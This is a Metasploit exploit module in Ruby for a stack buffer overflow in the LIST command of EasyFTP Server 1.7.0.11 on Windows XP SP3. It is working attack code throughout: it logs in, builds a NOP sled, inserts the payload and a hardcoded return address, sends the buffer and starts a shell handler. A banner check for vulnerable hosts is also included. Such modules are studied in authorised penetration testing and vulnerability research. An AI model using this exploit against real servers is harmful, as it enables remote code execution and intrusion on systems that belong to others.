require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.11 LIST Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.
credit goes to Karn Ganeshan.
},
'Author' =>
[
'Karn Ganeshan <karnganeshan [at] gmail.com>',
'MFR'
],
'License' => MSF_LICENSE,
'Version' => 'Version: 1',
'References' =>
[
[ 'EDB', '14400' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => false,
'Payload' =>
{
'Space' => 268,
'BadChars' => "\x00\x0a\x0d\x2f\x5c",
'DisableNops' => false
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 - Version 2002', { 'Ret' => 0x7e49732b } ],
],
'DisclosureDate' => 'July 5 2010',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /BigFoolCat/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
buf = ''
buf << make_nops(268 - payload.encoded.length - 4)
print_status("Adding the payload...")
buf << payload.encoded
buf << [target.ret].pack('V')
print_status("Sending exploit buffer...")
send_cmd( ['LIST', buf] , false)
handler
disconnect
end
end
